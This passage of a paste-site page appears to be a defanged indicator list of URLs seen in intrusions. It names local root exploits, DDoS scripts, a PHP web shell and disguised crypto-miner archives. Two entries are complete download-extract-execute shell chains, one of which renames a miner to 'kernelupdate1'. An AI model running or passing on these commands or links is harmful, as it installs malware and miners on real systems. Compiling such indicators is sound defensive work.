  320. hxxp://www.bl4ck-viper.persiangig.com/p8/localroots/2.6.x/raptor
  321. hxxp://www.cicir0x.tk/dstat
  322. hxxp://www.ehcp.net/ehcp_latest.tgz
  323. hxxp://www.google.com
  324. hxxp://www.iphobos.com/hb/unixcod.rar
  325. hxxp://www.karavanastur.com.br/img/fotos/ddos.pl
  326. hxxp://www.lemarinel.net/perl
  327. hxxp://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
  328. hxxp://www.steampowered.com/download/hldsupdatetool.bin
  329. hxxp://www.suplementar.com.br/images/stories/goon/pooler-cpuminer-2.3.2.tar.gz
  330. hxxp://www.unrealircd.com/downloads/Unr ... 8.1.tar.gz
  331. hxxp://www.unrealircd.com/downloads/Unreal3.2.8.1.tar.gz
  332. hxxp://www.youtube.com/watch?v=6hVQs5ll064
  333. hxxp://X.hackersoft.org/emech/emech-linux.tgz
  334. hxxp://X.hackersoft.org/scanner/gosh.jpg
  335. hxxp://xhlds.com/downloads/xhlds.tar.gz
  336. hxxp://ys-d.ys168.com/2.0/418509649/TMs5k8p4J1J88454NMI/45566565.ex
  337. hxxp://ys-d.ys168.com/2.0/418509649/TMsGW8p4J1J88454NMI/45566565.ex
  338. hxxp://zmeu1.allalla.com/ip2013.tar
  339. hxxp://zmeu1.allalla.com/ip2013.tar; tar xvf ip2013.tar; rm -rf ip2013.tar; cd yum-log; chmod +x *; ./start computer
  340. hxxps://batch-conf.us/mine.jpg;tar xzvf mine.jpg; cd /tmp/.sice-unix/mine;mv minerd kernelupdate1;chmod +x ./kernelupdate1);
  341. hxxps://codeload.github.com/sqlmapproject/sqlmap/legacy.tar.gz/master
  342. hxxps://d;.dropboxusercontent.com/u/10523365/cgminer-3.7.2-x86_64-built.tar.gz
  343. hxxps://dl.dropbox.com/u/6826053/Scripts/DOS.pl
  344. hxxps://dl.dropbox.com/u/6826053/Scripts/DOS.sh
  345. hxxps://dl.dropboxusercontent.com/u/133538399/multi.py
  346. hxxps://github.com/downloads/orbweb/PHP-SHELL-WSO/wso2.5.1.php
  347. hxxps://svn.nmap.org/nmap/nselib/tls.lua
  348. hxxps://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement